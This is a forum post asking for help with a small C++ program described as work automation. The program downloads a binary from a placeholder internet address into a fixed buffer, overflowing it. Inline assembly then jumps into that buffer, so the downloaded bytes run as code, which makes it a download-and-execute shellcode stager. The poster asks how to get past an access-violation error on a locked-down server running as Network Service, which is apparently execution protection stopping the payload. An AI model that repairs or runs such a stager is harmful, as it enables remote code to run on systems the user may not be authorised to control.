Hi,
I wrote a very small program in c++ to automate a process at work. The program basically fetches a binary file from somewhere on the internet, but feel free to look at the source:
#include <windows.h>
#include <iostream>
#include <cstring>
#include <Wininet.h>
using namespace std;
unsigned char DataReceived[500];
int main(){
int i;
HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
HINTERNET OpenAddress = InternetOpenUrl(connect,"ip/pathto.bin", NULL, 0, // ip/pathto.bin normally points to the path of a *.bin file in the internet
INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
DWORD NumberOfBytesRead = 0;

while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
{
// the __asm commands are the core function of this program, can't change them
__asm ("lea _DataReceived, %eax");
__asm ("push %eax");
__asm ("ret");
}

InternetCloseHandle(OpenAddress);
InternetCloseHandle(connect);

return 0;
}
The program works on my Windows x64 machine, but it causes a 0xc0000005 (Access Violation) error on the machine I want to apply it to (a Windows NT 6 v7600 x64 server).

The permissions of the NT machine are NT Authority/Network Service, I'm not allowed to change it due to security reasons.
Is there a way to avoid this error?

Thanks in Advance,
shivette